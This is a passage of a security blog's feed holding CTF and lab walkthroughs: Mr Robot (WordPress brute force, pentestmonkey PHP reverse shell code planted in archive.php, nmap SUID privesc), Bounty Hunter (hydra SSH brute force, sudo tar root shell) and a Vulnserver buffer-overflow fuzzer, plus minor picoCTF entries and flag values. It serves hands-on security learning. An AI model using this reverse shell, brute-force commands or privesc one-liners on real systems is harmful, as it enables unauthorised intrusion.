&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;hydrausername.png&quot; alt=&quot;&quot; &#x2F;&gt;
We got Elliot as the username.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-bruteforcing-to-find-the-password&quot;&gt;2. BRUTEFORCING TO FIND THE PASSWORD:&lt;&#x2F;h3&gt;
&lt;p&gt;For this i will use burp suite.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;passwordbruteforce.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;we got ER28-0652 as the password
&lt;br&gt;
Now let’s log in to wordpress.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;wordpress.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s use wordpress to get a reverse shell. Get the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pentestmonkey&#x2F;php-reverse-shell&quot;&gt;php reverse shell of pentest monkey&lt;&#x2F;a&gt; in github.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;revshell&quot;&gt;Revshell&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;array(“pipe”, “r”), &amp;#x2F;&amp;#x2F; stdin is a pipe that the child will read from
1 =&amp;gt; array(“pipe”, “w”), &amp;#x2F;&amp;#x2F; stdout is a pipe that the child will write to
2 =&amp;gt; array(“pipe”, “w”) &amp;#x2F;&amp;#x2F; stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit(“ERROR: Can’t spawn shell”);
exit(1);
}

&amp;#x2F;&amp;#x2F; Set everything to non-blocking
&amp;#x2F;&amp;#x2F; Reason: Occsionally reads will block, even though stream_select tells us they won’t
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit(“Successfully opened reverse shell to $ip:$port”);

while (1) {
&amp;#x2F;&amp;#x2F; Check for end of TCP connection
if (feof($sock)) {
printit(“ERROR: Shell connection terminated”);
break;
}

&amp;#x2F;&amp;#x2F; Check for end of STDOUT
if (feof($pipes[1])) {
printit(“ERROR: Shell process terminated”);
break;
}

&amp;#x2F;&amp;#x2F; Wait until a command is end down $sock, or some
&amp;#x2F;&amp;#x2F; command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

&amp;#x2F;&amp;#x2F; If we can read from the TCP socket, send
&amp;#x2F;&amp;#x2F; data to process’s STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit(“SOCK READ”);
$input = fread($sock, $chunk_size);
if ($debug) printit(“SOCK: $input”);
fwrite($pipes[0], $input);
}

&amp;#x2F;&amp;#x2F; If we can read from the process’s STDOUT
&amp;#x2F;&amp;#x2F; send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit(“STDOUT READ”);
$input = fread($pipes[1], $chunk_size);
if ($debug) printit(“STDOUT: $input”);
fwrite($sock, $input);
}

&amp;#x2F;&amp;#x2F; If we can read from the process’s STDERR
&amp;#x2F;&amp;#x2F; send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit(“STDERR READ”);
$input = fread($pipes[2], $chunk_size);
if ($debug) printit(“STDERR: $input”);
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

&amp;#x2F;&amp;#x2F; Like print, but does nothing if we’ve daemonised ourself
&amp;#x2F;&amp;#x2F; (I can’t figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print “$string\n”;
}
}

?&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Put the revserse shell into a page in the website. Put it to the archive.php file and save it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;wordpressrevshell.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now open up a listener and acess the page.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;revshell1.png&quot; alt=&quot;&quot; &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;revshell2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see the second flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;robotuser.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;But we can’t open the key file but we have another file named password.ra2-md5 we can open it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hash-cracking&quot;&gt;Hash Cracking&lt;&#x2F;h2&gt;
&lt;p&gt;Inside this file there is an MD5 hash now let’s crack it. I will use crackstation to crack this.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;crackstation.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;the hash is : abcdefghijklmnopqrstuvwxyz&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Now we can switch to the robot user and grab the second flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;secondflag.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;822c73956184f694993bede3eb39f959&lt;&#x2F;code&gt; — Second Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;&#x2F;h2&gt;
&lt;p&gt;Now we need to privilege escalate.I tried uploading a script like LinPeas here but the transfer failed.I also tried running sudo -l command but the user robot was not in sudoer’s list. So lets run this command which searches for all files having SUID bit set.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;find &amp;#x2F; -perm +6000 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | grep ‘&amp;#x2F;bin&amp;#x2F;’
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;findingSUID.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;‘&#x2F;usr&#x2F;local&#x2F;bin&#x2F;nmap’ is not ordinary.
&lt;br&gt;
After finding that nmap is vulnerable. Lets find a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gtfobins.github.io&#x2F;gtfobins&#x2F;nmap&#x2F;&quot;&gt;privesc method for nmap in gtfobins.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;mrrobot&#x2F;thirdkey.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;04787ddef27c3dee1ee161b21670b4e4&lt;&#x2F;code&gt; — Third Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Magikarp Ground Mission</title>
        <published>2022-04-05T00:00:00+00:00</published>
        <updated>2022-04-05T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/magikarp-ground-mission/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/magikarp-ground-mission/</id>
        <content type="html">&lt;p&gt;In this challenge, we connect to a machine using SSH and find the flag inside it.&lt;&#x2F;p&gt;
&lt;p&gt;first, let’s connect via ssh.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ssh ctf-player@venus.picoctf.net -p 54965
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;when we try to ssh into the machine it asks for a password use the password in the challenge description. After connecting to the machine and listing the directory we are in we can find two files named, 1of3.flag.txt and instructions-to-2of3.txt.&lt;&#x2F;p&gt;
&lt;p&gt;From the first file, we can see that the flag has been divided into 3 parts. let’s cat the 1st part of the flag. After getting the first part of the flag we can see the instruction file. Inside that, we can see that it tells us to find the other flag in the root directory(&#x2F;). Go to the root directory using the cd command.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cd &amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After going to the root directory we can see similar files to the previous two files. First, cat out the flag and read the instructions. Instructions say that the other flag is in the home directory. Now switch to the home directory,&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cd ~
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;after listing the files in the home directory we can see the last part of the flag.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Static Ain&#x27;t Always Noise</title>
        <published>2022-04-05T00:00:00+00:00</published>
        <updated>2022-04-05T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/static-aint-always-noise/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/static-aint-always-noise/</id>
        <content type="html">&lt;p&gt;In this challenge we get two files one is named static and the other is a shell script named ltdis.sh.&lt;&#x2F;p&gt;
&lt;p&gt;By running the shell script we can find the usage of the script. The usage is to extract the strings of a binary and disassemble the binary. Now let’s try to run our file with this script.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;staticnoise&#x2F;static.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After running this we get two files namely,&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;static.ltdis.x86_64.txt&lt;&#x2F;li&gt;
&lt;li&gt;static.ltdis.strings.txt&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The strings file looks interesting so let’s open the strings file first. There is a huge list so let’s try to grep to find a flag or a hint to solve.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;staticnoise&#x2F;static2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Luckily we could find the flag.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>tab tab attack</title>
        <published>2022-04-05T00:00:00+00:00</published>
        <updated>2022-04-05T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/tab-tab-attack/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/tab-tab-attack/</id>
        <content type="html">&lt;p&gt;In this challenge, we get a zip file named Addadshashanammu.zip. After extracting this we get endless folders named in gibberish we can use the TAB key to auto-complete these names as mentioned in the challenge itself.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;tabtab&#x2F;tabtab.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After endless directories finally, we can see a file named fang-of-haynekhtnamet. After running this we can get the flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;tabtab&#x2F;tabtab2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Bounty Hunter</title>
        <published>2022-04-04T00:00:00+00:00</published>
        <updated>2022-04-04T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/bounty-hunter/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/bounty-hunter/</id>
        <content type="html">&lt;h2 id=&quot;scanning&quot;&gt;Scanning&lt;&#x2F;h2&gt;
&lt;p&gt;First, let’s try to ping the machine to check whether it is up and running.
&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;1.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then let’s get started with our nmap scan.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;from our scan we see 3 open ports namely ports 21, 22, 80. We can see a webpage on port 80 let’s check it out.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;web-enumeration&quot;&gt;Web Enumeration&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;3.png&quot; alt=&quot;&quot; &#x2F;&gt;
nothing seems interesting on the web. let’s move on with the other ports.
port 21 seems interesting so let’s try to FTP into it when you log in to FTP use the username anonymous because we see that anonymous login is allowed.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ftp 10.10.80.102
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;4.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;after logging into FTP we can see 2 files namely,
- locks.txt 
- task.txt
Now let’s get those files to our local machine.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;get locks.txt
get task.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After getting we can try to open those files in the task.txt file we see a message.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;5.png&quot; alt=&quot;&quot; &#x2F;&gt;
From this, we can identify the user as lin.
now let’s try to open the locks .txt file in that we see some words that look like passwords.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;6.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;from the previous nmap we identified an open SSH port now let’s try to brute force it using the dumped credentials.
For this, I will use hydra.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;hydra -l lin -p locks.txt ssh:&amp;#x2F;&amp;#x2F;10.10.8.102
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;7.png&quot; alt=&quot;&quot; &#x2F;&gt;
From this, we got a password now let’s try to ssh into this.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ssh lin@10.10.80.102
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After connecting to the machine list the files u will be able to see a user.txt file it contains the user flag. congrats you find the user flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;8.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now lets try to get the root flag. First, change your directory to the root directory and try to change the directory to the root user but you don’t have permission to go to that directory now let’s try to escalate our privileges to root.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After using this command we can see a vulnerable service to exploit.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;9.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h2&gt;
&lt;p&gt;Now let’s search for and reverse shell using this vulnerable service. for this, I will use GTFO.bins&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;10.png&quot; alt=&quot;&quot; &#x2F;&gt;
From gtfobins we found a reverse shell.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo tar -cf &amp;#x2F;dev&amp;#x2F;null &amp;#x2F;dev&amp;#x2F;null --checkpoint=1 --checkpoint-action=exec=&amp;#x2F;bin&amp;#x2F;sh

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After running this command we get a reverse shell back with root privileges. Now you can change your directory to the root users directory and try to get the flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;11.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Congrats you pwned the machine!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;bountyhunter&#x2F;12.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Nice Netcat...</title>
        <published>2022-04-03T00:00:00+00:00</published>
        <updated>2022-04-03T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/nice-netcat/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/nice-netcat/</id>
        <content type="html">&lt;p&gt;In this, we challenge we need to connect to a network using netcat.
After connecting using netcat we get some numbers&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;nicenetcat&#x2F;1.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the challenge description, we see that there is a mention of ASCII now let’s try to convert these decimal values to ASCII for this you can use an online tool.
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onlineasciitools.com&#x2F;convert-decimal-to-ascii&quot;&gt;https:&#x2F;&#x2F;onlineasciitools.com&#x2F;convert-decimal-to-ascii&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;after converting we can find the flag&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;nicenetcat&#x2F;2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Vulnserver Bufferoverflow</title>
        <published>2022-04-03T00:00:00+00:00</published>
        <updated>2022-04-03T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/vulnserver-bufferoverflow/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/vulnserver-bufferoverflow/</id>
        <content type="html">&lt;ol&gt;
&lt;li&gt;Spiking&lt;&#x2F;li&gt;
&lt;li&gt;Fuzzing&lt;&#x2F;li&gt;
&lt;li&gt;Finding the offset&lt;&#x2F;li&gt;
&lt;li&gt;Overwriting the EIP&lt;&#x2F;li&gt;
&lt;li&gt;Finding the bad characters&lt;&#x2F;li&gt;
&lt;li&gt;Finding the right module&lt;&#x2F;li&gt;
&lt;li&gt;generating shellcode&lt;&#x2F;li&gt;
&lt;li&gt;ROOT!&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;In my case,&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;VICTIM –&amp;gt; 192.168.62.129 &#x2F; WINDOWS&lt;&#x2F;li&gt;
&lt;li&gt;ATTACKER –&amp;gt; 192.168.62.128 &#x2F; KALI LINUX&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;You can replace your I.P addresses when using the scripts and the other commands&lt;&#x2F;p&gt;
&lt;p&gt;First, run the .exe file when you run it you will see a prompt like this&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;miro.medium.com&#x2F;max&#x2F;966&#x2F;1*tzEc9XidhoxPVN3GoYShgw.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After that you can attach it to the immunity debugger&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-spiking&quot;&gt;1. Spiking&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;fuzzer.spk&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;s_readline();
s_string(&amp;quot;TRUN &amp;quot;);
s_string_variable(&amp;quot;FUZZ&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;running-the-fuzzer&quot;&gt;Running The Fuzzer&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;generic_send_tcp 192.168.62.129 9999 fuzzer.spk 0 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;1.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;we can see that program has crashed and paused and we got a error code. Access violation when executing [41414141]. those [41414141] are filled in the EIP (instruction pointer)&lt;&#x2F;p&gt;
&lt;p&gt;EIP is the place where program Jump to the next bit of code and it died in this case&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;3.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So what has happened here? The spiking script sent “TRUN &#x2F;.:&#x2F;” along with a bunch of ‘A’s to vulnserver. Eventually, the input got large enough to crash vulnserver.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;getting-an-idea-of-how-many-a-were-sent&quot;&gt;Getting an idea of how many “A” were sent&lt;&#x2F;h3&gt;
&lt;p&gt;There are so many methods to find this amount but in this I will show you two methods you can use either first method or second method.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-method&quot;&gt;1. Method&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;4.png&quot; alt=&quot;&quot; &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;5.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;we can see a lot of “A”’s now find the top address and the bottom address and write it down&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Top 
&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;6.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Bottom 
&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;7.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;in my case the values were&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Top –&amp;gt; 0241F208&lt;&#x2F;li&gt;
&lt;li&gt;Bottom –&amp;gt; 0241FDB0&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;add “0x” in front of each value because it’s a hex&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Top –&amp;gt; 0x0241F208&lt;&#x2F;li&gt;
&lt;li&gt;Bottom –&amp;gt; 0x0241FDB0&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;now use a python interpreter to do some quick math. subtract the top value from the bottom value. after doing that we get a value of “2984”&lt;&#x2F;p&gt;
&lt;p&gt;from we can guess the length of the point at which the program crashes&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;8.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-method&quot;&gt;2. Method&lt;&#x2F;h4&gt;
&lt;p&gt;use this program to find it
&amp;gt;IMPORTANT : use python2 when using this script
{: .prompt-tip}&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python
import sys, socket
from time import sleep

buffer = &amp;quot;A&amp;quot; * 100

while True:
	try:
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		s.connect((&amp;#x27;192.168.62.129&amp;#x27;,9999)) &amp;#x2F;&amp;#x2F;replace your vulnserver I.P here

		s.send((&amp;#x27;TRUN &amp;#x2F;.:&amp;#x2F;&amp;#x27; + buffer))
		s.close
		sleep(1)
		buffer = buffer + &amp;quot;A&amp;quot; * 100
	except:
		print(&amp;quot;fuzzing crashed at %s bytes&amp;quot; % str(len(buffer)))
		sys.exit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;python2 fuzzer.py
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;after running this script on the terminal go to the immunity debugger window and wait until it get paused and after it get paused go the terminal you ran the script and press ctrl+c for few times and you will be able to see the count.&lt;&#x2F;p&gt;
&lt;p&gt;we can see the output as 3000 bytes&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;vulnserverbof&#x2F;9.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Wave A Flag</title>
        <published>2022-04-03T00:00:00+00:00</published>
        <updated>2022-04-03T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/wave-a-flag/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/wave-a-flag/</id>
        <content type="html">&lt;p&gt;In this challenge, we get a file named warm, by just running using the commands,&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x warm
.&amp;#x2F;warm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;we see that it tells us to pass a -h argument. after passing a -h argument we can see the flag&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;waveaflag&#x2F;waveaflag.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Obedient Cat</title>
        <published>2022-04-02T00:00:00+00:00</published>
        <updated>2022-04-02T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/obedient-cat/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/obedient-cat/</id>
